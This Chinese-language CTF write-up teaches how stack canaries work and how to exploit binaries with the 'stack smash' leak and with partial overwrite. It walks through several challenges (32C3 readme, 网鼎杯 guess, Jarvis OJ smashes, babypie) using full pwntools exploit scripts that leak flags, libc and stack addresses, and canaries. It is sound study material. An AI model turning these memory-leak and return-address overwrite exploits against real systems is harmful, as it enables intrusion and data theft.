canary这个值被称作金丝雀(“canary”)值,指的是矿工曾利用金丝雀来确认是否有气体泄漏,如果金丝雀因为气体泄漏而中毒死亡,可以给矿工预警。在brop中也提到过,通过爆破的办法去进行绕过canary保护,因为canary的值在每次程序运行时都是不同的,所以这需要一定的条件:fork的子进程不变,题目中很难遇到,所以我们可以使用stack smash的方法进行泄漏内容。canary位置位于高于局部变量,低于ESP,也就是在其中间,那么我们进行溢出攻击的时候,都会覆盖到canary的值,从而导致程序以外结束。具体看一下canary在哪?怎么形成的?又是怎么使用的?举一个小例子:
#include <stdio.h>
void main(int argc, char **argv) {
char buf[10];
scanf("%s", buf);
}
pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector
看一下其汇编代码
Dump of assembler code for function main:
0x0000000000000740 <+0>: push rbp
0x0000000000000741 <+1>: mov rbp,rsp
0x0000000000000744 <+4>: sub rsp,0x30
0x0000000000000748 <+8>: mov DWORD PTR [rbp-0x24],edi
0x000000000000074b <+11>: mov QWORD PTR [rbp-0x30],rsi
0x000000000000074f <+15>: mov rax,QWORD PTR fs:0x28
0x0000000000000758 <+24>: mov QWORD PTR [rbp-0x8],rax
0x000000000000075c <+28>: xor eax,eax
0x000000000000075e <+30>: lea rax,[rbp-0x12]
0x0000000000000762 <+34>: mov rsi,rax
0x0000000000000765 <+37>: lea rdi,[rip+0xb8] # 0x824
0x000000000000076c <+44>: mov eax,0x0
0x0000000000000771 <+49>: call 0x5f0 <__isoc99_scanf@plt>
0x0000000000000776 <+54>: mov rax,QWORD PTR [rbp-0x30]
0x000000000000077a <+58>: lea rdx,[rip+0xa6] # 0x827
0x0000000000000781 <+65>: mov QWORD PTR [rax],rdx
0x0000000000000784 <+68>: nop
0x0000000000000785 <+69>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000000789 <+73>: xor rax,QWORD PTR fs:0x28
0x0000000000000792 <+82>: je 0x799 <main+89>
0x0000000000000794 <+84>: call 0x5e0 <__stack_chk_fail@plt>
0x0000000000000799 <+89>: leave
0x000000000000079a <+90>: ret
End of assembler dump.
找到<+15> <+24>和<+69><+73>处
0x000000000000074f <+15>: mov rax,QWORD PTR fs:0x28
0x0000000000000758 <+24>: mov QWORD PTR [rbp-0x8],rax
.....
0x0000000000000785 <+69>: mov rax,QWORD PTR [rbp-0x8]
0x0000000000000789 <+73>: xor rax,QWORD PTR fs:0x28
前两处是生成canary并且存在[rbp-0x8]中,怎是通过从fs:0x28的地方获取的,而且发现每次都会变化,无法预测。后两处则是程序执行完成后对[rbp-0x8]canary值与fs:0x28的值进行比较,如果xor操作后rax寄存器中值为0,那么程序自己就认为是没有被破坏,否则调用__stack_chk_fail函数。继续看该函数的内容和作用,会引出stack smash利用技巧。
__attribute__ ((noreturn))
__stack_chk_fail (void) {
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg; {
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>")
}
libc_hidden_def (__fortify_fail)
最终会调用fortify_fail函数中的libc_message (2, "* %s : %s terminated\n", msg, libc_argv[0] ?: "<unknown>") ,关键点来了。一、可以打印信息二、libc_argv[0]可控制那么__libc_argv[0]是什么呢?与打印信息又什么联系?libc_argv[0]则是 argv[ ]指针组的的元素,先看 main函数的原型,void main(int argc, char *argv)。其中参数argc是整数,表示使用命令行运行程序时传递了几个参数; argv[ ]是一个指针数组,用来存放指向你的字符串参数的指针,每一个元素指向一个参数。其中argv[0]指向程序运行的全路径名,也就是程序的名字,比如例子中的./a.out,argv[1] 指向在命令行中执行程序名后的第一个字符串,以此类推。但是这样看来,libc_argv[0]似乎是不可以控制的,或者只能使用修改程序名来进行控制。继续看这么一个小实验,先看一下这个错误信息是怎么打印的(至于为什么是输出50个字节,随后再探究)。
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out
*** stack smashing detected ***: ./a.out terminated
段错误
如果我们在程序中强行修改__libc_argv[0]会怎么样?
#include <stdio.h>
void main(int argc, char **argv) {
char buf[10];
scanf("%s", buf);
argv[0] = "stack smash!";
}
pwn@pwn-PC:~/Desktop$ gcc test.c -fstack-protector
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*50' | ./a.out
*** stack smashing detected ***: stack smash! terminated
段错误
可以发现成功控制了__libc_argv[0]的值,打印出来了想要的信息。综上所述,这一种基于报错类的栈保护,恰恰是可以报错,所以存在stack smash的绕过方法。
调试fortify_fail 函数,找到libc_message函数的部分汇编代码:
0x7ffff7b331d0 <__fortify_fail+16> mov rax, qword ptr [rip + 0x2a5121] <0x7ffff7dd82f8>
然后获取[rip+0x2a5121]的值,也就是存放__libc_argv[0]的内存单元。
对于这个例子来说,输入的长度达到0xf8字节,即可开始覆盖__libc_argv[0]的值,从而打印出来需要的信息,构造就相应的payload就行泄漏想要的内容,比如存储的flag内容、开启PIE的加载基址、canary的值等等。在一节里面,拿刚才的例子再做一个有意思的小实验:
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*247' | ./a.out
*** stack smashing detected ***: ./a.out terminated
段错误
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*248' | ./a.out
*** stack smashing detected ***: terminated
段错误
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*249' | ./a.out
*** stack smashing detected ***: terminated
段错误
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*250' | ./a.out
段错误
buf(0x7fffffffcd00)和__libc_argv0处相距0xf8(也就是说第249位会覆盖到0x7fffffffcdf8),那么输入247、248、249、250会出现三种情况,分别看一下对应情况下0x7fffffffcdf8的值:
达不到覆盖的距离:
21:0108│ 0x7fffffffcdf8 —▸ 0x7fffffffd0d2 ◂— '/home/pwn/Desktop/a.out'
刚好达到覆盖的距离,读入\x00刚好覆盖到:
21:0108│ 0x7fffffffcdf8 —▸ 0x7fffffffd000 ◂— 9 /* '\t' */
覆盖形成的地址在内存中可以找到:
21:0108│ 0x7fffffffcdf8 —▸ 0x7fffffff0041 ◂— 0x0
Cannot access memory at address 0x7fffff004141:
21:0108│ 0x7fffffffcdf8 ◂— 0x7fffff004141 /* 'AA' */
因此在尝试寻找offset的时候,选择offset = 248。当然尝试的办法太慢了,直接gdb调试下断点,类似于例子中的distance 0x7fffffffcd00 0x7fffffffcdf8即可。
2015 年 32C3 CTF readme题目分析如下:
unsigned __int64 sub_4007E0()
{
__int64 v0; // rbx
int v1; // eax
__int64 v3; // [rsp+0h] [rbp-128h]
unsigned __int64 v4; // [rsp+108h] [rbp-20h]
v4 = __readfsqword(0x28u);
__printf_chk(1LL, "Hello!\nWhat's your name? ");
if ( !_IO_gets(&v3) )
LABEL_9:
_exit(1);
v0 = 0LL;
__printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ");
while ( 1 )
{
v1 = _IO_getc(stdin);
if ( v1 == -1 )
goto LABEL_9;
if ( v1 == 10 )
break;
byte_600D20[v0++] = v1;
if ( v0 == 32 )
goto LABEL_8;
}
memset((void *)((signed int)v0 + 6294816LL), 0, (unsigned int)(32 - v0));
LABEL_8:
puts("Thank you, bye!");
return __readfsqword(0x28u) ^ v4;
}
pwn@pwn-PC:~/Desktop$ ./readme.bin
Hello!
What's your name? aaa
Nice to meet you, aaa.
Please overwrite the flag: aaa
Thank you, bye!
pwn@pwn-PC:~/Desktop$ checksec readme.bin
[*] '/home/pwn/Desktop/readme.bin'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
程序中存在两次输入,并且可以发现_IO_gets(&v3)处存在明显的栈溢出。尝试找到__libc_argv[0]的位置
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*0x128+"\n"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAA...
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*535+"\n"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAA...
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+"\n"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAA...
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: terminated
因此offset = 536。为了做题的效率,不可能去一个一个尝试,如下:
gdb-peda$ find /home
Searching for '/home' in: None ranges
Found 5 results, display max 5 items:
[stack] : 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")
[stack] : 0x7fffffffec71 ("/home/pwn/Desktop")
[stack] : 0x7fffffffec91 ("/home/pwn")
[stack] : 0x7fffffffef29 ("/home/pwn/.Xauthority")
[stack] : 0x7fffffffefdb ("/home/pwn/Desktop/readme.bin")
gdb-peda$ find 0x7fffffffd0c8
Searching for '0x7fffffffd0c8' in: None ranges
Found 2 results, display max 2 items:
libc : 0x7ffff7dd43b8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")
[stack] : 0x7fffffffcde8 --> 0x7fffffffd0c8 ("/home/pwn/Desktop/readme.bin")
gdb-peda$ distance $rsp 0x7fffffffcde8
From 0x7fffffffcbd0 to 0x7fffffffcde8: 536 bytes, 134 dwords
这个计算距离只是特例,最好是按照上一部分例子中的方法来计算,下断点,distance 地址1 地址2.
可以在IDA下发现.data段的变量
.data:0000000000600D20 byte_600D20 db 33h ; DATA XREF: sub_4007E0+6E↑w
.data:0000000000600D21 a2c3Theserverha db '2C3_TheServerHasTheFlagHere...',0
只需要将此变量进行显示即可,于是构造payload:
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x600d20)+"\n"+'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAA.....
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: terminated
没有成功,再看代码逻辑。
0x40083f: call 0x4006a0 <_IO_getc@plt>
0x400844: cmp eax,0xffffffff
0x400847: je 0x40089f
0x400849: cmp eax,0xa
0x40084c: je 0x400860
0x40084e: mov BYTE PTR [rbx+0x600d20],al
0x400854: add rbx,0x1
0x400858: cmp rbx,0x20
0x40085c: jne 0x400838
这是第二次输入的汇编部分,其中执行了mov BYTE PTR [rbx+0x600d20],al(此时rbx = 0),也就是byte_600D20[v0++] = v1,这就把byte_600D20变量循环覆盖掉,如下:
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x600d20)+"\n"+"BBBB"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAA.....
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: BBBB terminated
但是当ELF文件比较小的时候,它的不同区段可能会被多次映射,在ELF内存映射的时候,bss段会被映射两次,也就是说flag有备份,我们可以使用另一处的地址进行输出,如下:
gdb-peda$ find 32C3
Searching for '32C3' in: None ranges
Found 2 results, display max 2 items:
readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")
此时选择0x400d20进行构造payload即可成功打印出来。
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x400d20)+"\n"'|./readme.bin
Hello!
What's your name? Nice to meet you, AAAAAAAA....
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
段错误
由于题目在远程服务器上,而且LIBC_FATAL_STDERR=0,这个错误提示只会显示在远端,不会返回到我们这端。因此必须设置如下环境变量LIBC_FATAL_STDERR=1,才能实现将标准错误信息通过管道输出到远程shell中。因此,我们还必须设置该参数。那么环境变量在哪?有什么用?在libc_message函数的源代码可以看到LIBC_FATAL_STDERR_使用读取了环境变量libc_secure_getenv。如果它没有被设置、或者为空(\x00或NULL),那么stderr被重定向到_PATH_TTY(这通常是/dev/tty),因此将错误消息不被发送,只在服务器侧可见。位置在高于libc_argv[0]内存单元,且在libc_main[0]地址+8之后。因此exp:
from pwn import *
env_addr = 0x600d20
flag_addr = 0x400d20
r = process('./read.bin')
r.recvuntil("What's your name? ")
r.sendline("A"*536 + p64(flag_addr) + "A"*8 + p64(env_addr))
r.sendline("LIBC_FATAL_STDERR_=1")
r.recvuntil("*** stack smashing detected ***: ")
log.info("The flag is: %s" % r.recvuntil(" ").strip())
本地测试:
2018年网鼎杯中guess题目,相对于题目一,flag的位置在栈中而不是bss段,而且ASLR后地址是无法预测的。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch]
int v5; // [rsp+1Ch] [rbp-84h]
__int64 v6; // [rsp+20h] [rbp-80h]
__int64 v7; // [rsp+28h] [rbp-78h]
char buf; // [rsp+30h] [rbp-70h]
char s2; // [rsp+60h] [rbp-40h]
unsigned __int64 v10; // [rsp+98h] [rbp-8h]
v10 = __readfsqword(0x28u);
v7 = 3LL;
LODWORD(stat_loc.__uptr) = 0;
v6 = 0LL;
sub_4009A6();
HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2);
if ( HIDWORD(stat_loc.__iptr) == -1 )
{
perror("./flag.txt");
_exit(-1);
}
read(SHIDWORD(stat_loc.__iptr), &buf, 0x30uLL);
close(SHIDWORD(stat_loc.__iptr));
puts("This is GUESS FLAG CHALLENGE!");
while ( 1 )
{
if ( v6 >= v7 )
{
puts("you have no sense... bye :-) ");
return 0LL;
}
v5 = sub_400A11();
if ( !v5 )
break;
++v6;
wait((__WAIT_STATUS)&stat_loc);
}
puts("Please type your guessing flag");
gets(&s2);
if ( !strcmp(&buf, &s2) )
puts("You must have great six sense!!!! :-o ");
else
puts("You should take more effort to get six sence, and one more challenge!!");
return 0LL;
}
pwn@pwn-PC:~/Desktop$ checksec GUESS
[*] '/home/pwn/Desktop/GUESS'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
先捋一捋流程首先由于使用了gets,因此可以无限制溢出,并且有三次机会。然后发现flag.txt中flag值通过read(SHIDWORD(stat_loc._iptr), &buf, 0x30uLL)读入到了栈中,&buf处。最后开启了canary,可以使用stack smashing的方法泄漏处flag的值。那么怎样去构造呢?想要获取flag的值,就得获取buf的栈中的地址,因为ASLR的原因,那么需要先泄漏libc的基址,根据偏移去计算出加载后的栈中buf的地址。但是现在问题是得到了libc的的加载地址,怎么算出stack的加载地址,因为每次加载的时候,两者相距的长度变化的。解决的办法就是找一个与stack的加载地址的偏移量不变的参照物,或者说与buf的栈地址偏移量不变的参照物,此参照物可以根据已有的条件计算出实际的加载地址。此时就需要补充一个知识点:在libc中保存了一个函数叫environ,存的是当前进程的环境变量,environ指向的位置是栈中环境变量的地址,其中environ的地址 = libc基址 + _environ的偏移量,也就说在内存布局中,他们同属于一个段,开启ASLR之后相对位置不变,偏移量和libc库有关,environ的地址(&environ)和libc基址的偏移量是不会的,并且通过&environ找到environ内存单元中的值是栈中环境变量的地址,根据此地址可以找到环境变量。
pwn@pwn-PC:~/Desktop$ objdump -d /usr/lib/x86_64-linux-gnu/libc-2.24.so | grep __environ
dc97d: 48 c7 05 c0 f5 2b 00 movq $0xfff,0x2bf5c0(%rip) # 39bf48 <__environ@@GLIBC_2.2.5+0x10>
.....
__environ在libc中的偏移量为0x39bf38。
这样一来,栈中environ的值和buf的栈地址的相对位置是固定的,可以根据environ的值-偏移量=buf的栈地址。那么程序中这三次输入分别是:第一次,通过泄露函数的got表内容,计算得到libc基址。第二次,通过libc基址和偏移量计算得到&environ,获取environ的值。第三次,通过_environ的值,计算出buf的栈地址,泄露buf中存储的flag的值。步骤如下:第一次泄漏libc基址
from pwn import *
# context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p = process('./GUESS')
elf = ELF("./GUESS")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gets_got = elf.got['gets']
# print hex(gets_got)
p.recvuntil('guessing flag\n')
payload = 'a' * 0x128 + p64(gets_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
gets_addr = u64(p.recv(6).ljust(0x8,'\x00'))
libc_base_addr = gets_addr - libc.symbols['gets']
print 'libc_base_addr: ' + hex(libc_base_addr)
pwn@pwn-PC:~/Desktop$ python exp.py
[+] Starting local process './GUESS': pid 28733
[*] '/home/pwn/Desktop/GUESS'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
libc_base_addr: 0x7ff71434f000
第二次泄漏_environ的值
environ_addr = libc_base_addr + libc.symbols['_environ']
# print 'environ_addr: ' + hex(environ_addr)
payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(0x8,'\x00'))
print 'stack_addr: '+hex(stack_addr)
pwn@pwn-PC:~/Desktop$ python exp.py
[+] Starting local process './GUESS': pid 29707
[*] '/home/pwn/Desktop/GUESS'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
libc_base_addr: 0x7f8d02122000
stack_addr: 0x7ffc5a61c908
第三次泄漏flag的值
计算出stack_addr和buf_addr的相距长度
pwndbg> distance 0x7fffffffcca0 0x7fffffffce08
0x7fffffffcca0->0x7fffffffce08 is 0x168 bytes (0x2d words)
payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)
p.recvuntil('Please type your guessing flag')
p.sendline(payload2)
p.recvuntil('stack smashing detected ***: ')
flag = p.recvline()
print 'flag:' + flag
pwn@pwn-PC:~/Desktop$ python exp.py
[+] Starting local process './GUESS': pid 29877
[*] '/home/pwn/Desktop/GUESS'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
libc_base_addr: 0x7f8d02122000
stack_addr: 0x7ffc5a61c908
flag: flag{stack_smash}
exp:
from pwn import *
# context.arch = 'amd64'
# context.log_level = 'debug'
# context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p = process('./GUESS')
elf = ELF("./GUESS")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
gets_got = elf.got['gets']
# print hex(gets_got)
p.recvuntil('guessing flag\n')
payload = 'a' * 0x128 + p64(gets_got)
p.sendline(payload)
p.recvuntil('detected ***: ')
gets_addr = u64(p.recv(6).ljust(0x8,'\x00'))
libc_base_addr = gets_addr - libc.symbols['gets']
print 'libc_base_addr: ' + hex(libc_base_addr)
environ_addr = libc_base_addr + libc.symbols['_environ']
# print 'environ_addr: ' + hex(environ_addr)
payload1 = 'a' * 0x128 + p64(environ_addr)
p.recvuntil('Please type your guessing flag')
p.sendline(payload1)
p.recvuntil('stack smashing detected ***: ')
stack_addr = u64(p.recv(6).ljust(0x8,'\x00'))
print 'stack_addr: '+hex(stack_addr)
payload2 = 'a' * 0x128 + p64(stack_addr - 0x168)
p.recvuntil('Please type your guessing flag')
p.sendline(payload2)
p.recvuntil('stack smashing detected ***: ')
flag = p.recvline()
print 'flag:' + flag
Jarvis OJ中的smashes,与题目一一样,但是可以直接在本地显示错误信息,只是提供了一个复现场景
pwn@pwn-PC:~/Desktop$ python -c 'print "A"*536+__import__("struct").pack("<Q",0x400d20) + "\n"'|./smashes.44838f6edd4408a53feb2e2bbfe5b229
Hello!
What's your name? Nice to meet you, AAAAAA.....
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: PCTF{Here's the flag on server} terminated
exp:
from pwn import *
p=remote("pwn.jarvisoj.com","9877")
p.recvuntil("name?");
flag_addr=0x400d20
payload='a'*0x218+p64(flag_addr)+'\n'
p.sendline(payload)
p.recvuntil('stack smashing detected ***: ')
flag = p.recvline()
print flag
pwn@pwn-PC:~/Desktop$ python exp.py
[+] Opening connection to pwn.jarvisoj.com on port 9877: Done
PCTF{57dErr_Smasher_good_work!} terminated
[*] Closed connection to pwn.jarvisoj.com port 9877
````
# 题目四
main函数中存在栈溢出,源码如下:
int cdecl main(int argc, const char argv, const char envp){ int64 v4; // rsp+18h char v5; // rsp+20h char v6; // rsp+A0h unsigned __int64 v7; // rsp+128h
v7 = readfsqword(0x28u); putenv("LIBC_FATAL_STDERR_=1", argv, envp); v4 = fopen64("flag.txt", "r"); if ( v4 ) { fgets(&v5, 32LL, v4); fclose(v4); printf((unsigned int64)"Interesting data loaded at %p\nYour username? "); fflush(0LL, &v5); read(0LL, &v6, 1024LL); } else { puts("Error leyendo datos"); } return 0;}
pwn@pwn-PC:~/Desktop$ checksec xpl[*] '/home/pwn/Desktop/xpl' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA 0x400000 0x4c0000 r-xp c0000 0 /home/pwn/Desktop/xpl 0x6bf000 0x6c2000 rw-p 3000 bf000 /home/pwn/Desktop/xpl 0x6c2000 0x6e8000 rw-p 26000 0 [heap] 0x7ffff7ffa000 0x7ffff7ffd000 r--p 3000 0 [vvar] 0x7ffff7ffd000 0x7ffff7fff000 r-xp 2000 0 [vdso] 0x7ffffffdd000 0x7ffffffff000 rw-p 22000 0 [stack]0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
开启了ASLR,并且可以知道程序将flag.txt的flag值存放在了char v5 //[rsp+20h] [rbp-110h]中,这看起来与题目二相似,可以使用其思路,但是vmmap发现这没有动态编译,那么此思路就pass掉,再去找其他的办法,百思不得其解时,运行一下程序,发现会输出一个地址,回过头去看代码才发现因自己的知识储备太少,没有注意到prinf的中%p的是匹配的哪。
pwn@pwn-PC:~/Desktop$ ./xpl Interesting data loaded at 0x7ffe65dfcfd0Your username?
源码: printf((unsigned __int64)"Interesting data loaded at %p\nYour username? ");
调试: 0x4010d9 <main+123> lea rax, [rbp - 0x110] 0x4010e0 <main+130> mov rsi, rax 0x4010e3 <main+133> mov edi, 0x493b28 0x4010e8 <main+138> mov eax, 0 ► 0x4010ed <main+143> call printf <0x408770>format: 0x493b28 ◂— 'Interesting data loaded at %p\nYour username? ' vararg: 0x7fffffffcc00 ◂— 'flag{stack_smash}\n'
0x4010f2 <main+148> mov edi, 0 0x4010f7 <main+153> call fflush <0x408c90>
0x4010fc <main+158> lea rax, [rbp - 0x90] 0x401103 <main+165> mov edx, 0x400 0x401108 <main+170> mov rsi, rax────────────────────────[ STACK ]────────────────────────00:0000│ rsp 0x7fffffffcbe0 —▸ 0x7fffffffcdf8 —▸ 0x7fffffffd0d6 ◂— '/home/pwn/Desktop/xpl'01:0008│ 0x7fffffffcbe8 ◂— 0x10000000002:0010│ 0x7fffffffcbf0 ◂— 0x003:0018│ 0x7fffffffcbf8 —▸ 0x6c7d40 ◂— 0x004:0020│ rsi 0x7fffffffcc00 ◂— 'flag{stack_smash}\n'05:0028│ 0x7fffffffcc08 ◂— 'ck_smash}\n'06:0030│ 0x7fffffffcc10 ◂— 0xa7d /* '}\n' */07:0038│ 0x7fffffffcc18 —▸ 0x401840 (__libc_csu_fini) ◂— push rbx
发现程序一开始输出的地址,就是v5所在的栈地址,也就是flag的地址,步骤如下:
找到__libc_argv[0]的地址:
43:0218│ rsi 0x7fffffffcdf8 —▸ 0x7fffffffd0d6 ◂— '/home/pwn/Desktop/xpl'
计算出偏移量:
pwndbg> i r rbprbp 0x7fffffffcd10 0x7fffffffcd10pwndbg> x /gx 0x7fffffffcd10-0x900x7fffffffcc80: 0x000000037ffffa00pwndbg> distance 0x7fffffffcc80 0x7fffffffcdf80x7fffffffcc80->0x7fffffffcdf8 is 0x178 bytes (0x2f words)
获取flag:
from pwn import *
sh = process('./xpl')data = sh.recvuntil("username?")address = p64(int(data.split()[4], 16))sh.send("A"*0x178 + address)print sh.recvline()
pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './xpl': pid 4363 * stack smashing detected *: flag{stack_smash}
# partial write 根据前面的内容可以知道在开启ASLR+PIE的后,每次加载的地址是在一定的范围随机变化的,只不过由于内存页为0x1000空间大小的限制和加载后相对偏移不会变的缘故,造成了加载后的地址的最后一个半字节长度的内容是不变的。 partial write则是利用了这一点,内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的,因此我们可以通过覆盖地址的后几位来可以控制程序的执行流。 另外,partial overwrite不仅仅可以用在栈上,同样可以用在其它随机化的场景。比如堆的随机化,由于堆起始地址低字节一定是0x00,也可以通过覆盖低位来控制堆上的偏移。 # 题目一 2018年安恒杯中babypie题,因为wiki中给的不是一个二进制文件,因此自己重新编译。
#include <unistd.h>#include <stdlib.h>void flag(){ system("cat flag");}void vuln(){ char buf[40]; puts("Input your Name:"); read(0, buf, 0x30); printf("Hello %s:\n", buf); read(0, buf, 0x60); }int main(int argc, char const *argv[]){ vuln(); return 0;}
pwn@pwn-PC:~/Desktop$ gcc -fpie -pie -fstack-protector -o test-pie partial.cpwn@pwn-PC:~/Desktop$ checksec test-pie [*] '/home/pwn/Desktop/test-pie' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
此题目所有保护都开着,首先发现有canary,就想着使用stack smash泄漏flag函数的地址,然后此地址作为第二次read的ret_addr地址进行执行,但是只有第二次read操作存在栈溢出,而且溢出的距离无法到达到覆盖__libc_argv[0]的距离,假设即便能覆盖,在PIE的情况下也很难确定.text的地址,因此本题使用partial overwrite的方法进行利用。 可以发现两次read操作,只有第二次read操作存在栈溢出,但是又有canary,很难利用第二次的栈溢出,那么怎么去解决? 首先需要获取canary的值, 因为read函数并不会给输入的末尾加上 \x00 字符,而且printf 使用 %s 时, 遇到 \x00 字符才会结束输出,因此只需要把canary末尾字符覆盖成非 \x00 字符就可以利用printf("Hello %s:\n", buf)输出canary,然后再利用partial overwrite覆盖ret_addr控制程序的指令流,步骤如下: 泄漏canary值
from pwn import *context.arch = 'amd64'context.log_level = 'debug'context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']offset = 0x28p = process('./test-pie')p.recvuntil("Name:\n")payload='a' * offset gdb.attach(p)p.sendline(payload) p.recvuntil('a' * offset)p.recv(1)canary = u64('\0' + p.recvn(7))print hex(canary)
pwn@pwn-PC:~/Desktop$ python exp.py [+] Starting local process './test-pie': pid 28293[DEBUG] Received 0x11 bytes: 'Input your Name:\n'[DEBUG] Wrote gdb script to '/tmp/pwnozkM_1.gdb' file "./test-pie"[*] running in new terminal: /usr/bin/gdb -q "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb"[DEBUG] Launching a new terminal: '/usr/bin/deepin-terminal', '-x', 'sh', '-c', '/usr/bin/gdb -q "./test-pie" 28293 -x "/tmp/pwnozkM_1.gdb"'Waiting for debugger: Done[DEBUG] Sent 0x29 bytes: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'[DEBUG] Received 0x2f bytes: 'Hello aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n'[DEBUG] Received 0xf bytes: 00000000 77 05 28 c0 f3 64 57 20 69 4e d8 fc 7f 3a 0a │w·(·│·dW │iN··│·:·│ 0000000f0x5764f3c028057700
可以看到,sent了0x29个字符,因为buf的栈地址到canary值的地址的相距0x28个字符,再加上覆盖的canary的末尾字符总共0x29个字符,栈中覆盖情况如下:
read(0, buf, 0x30)函数执行完成后:───────────────────────────────────[ STACK ]─────────────────────────────────────────00:0000│ rax r8 rsp 0x7ffcd84e68d0 ◂— 0x6161616161616161 ('aaaaaaaa')... ↓05:0028│ 0x7ffcd84e68f8 ◂— 0x5764f3c02805770a06:0030│ rbp 0x7ffcd84e6900 —▸ 0x7ffcd84e6920 —▸ 0x55a96ce218b0 ◂— push r1507:0038│ 0x7ffcd84e6908 —▸ 0x55a96ce2189a ◂— mov eax, 0─────────────────────────────────────────────────────────────────────────────────pwndbg> x /18gx 0x7fff426083d00x7ffcd84e68d0: 0x6161616161616161 0x61616161616161610x7ffcd84e63e0: 0x6161616161616161 0x61616161616161610x7ffcd84e63f0: 0x6161616161616161 0x5764f3c02805770a
覆盖ret_addr控制程序的指令流 首先找到flag的地址,最后一个半字节为0x7f0,由于内存是按页夹在的 0x1000为一页,因此每次加载这三位是不会变的,那么在payload中发送的时候(按字节发送,发送4位),第四位随便填写一个即可,每次对随机加载后的flag函数起始地址进行碰撞,因为范围在0x0 -0xf,所以碰撞成功的几率挺大的。
pwndbg> disassemble flagDump of assembler code for function flag: 0x00005555555547f0 <+0>: push rbp 0x00005555555547f1 <+1>: mov rbp,rsp 0x00005555555547f4 <+4>: lea rdi,[rip+0x139] # 0x555555554934 0x00005555555547fb <+11>: call 0x555555554680 system@plt 0x0000555555554800 <+16>: nop 0x0000555555554801 <+17>: pop rbp 0x0000555555554802 <+18>: ret End of assembler dump.
构造payload,覆盖ret_addr的末尾两个字节
p.recvuntil(":\n") payload='a' * offset + p64(canary) + 'bbbbbbbb' + '\xf0\x47'p.send(payload)
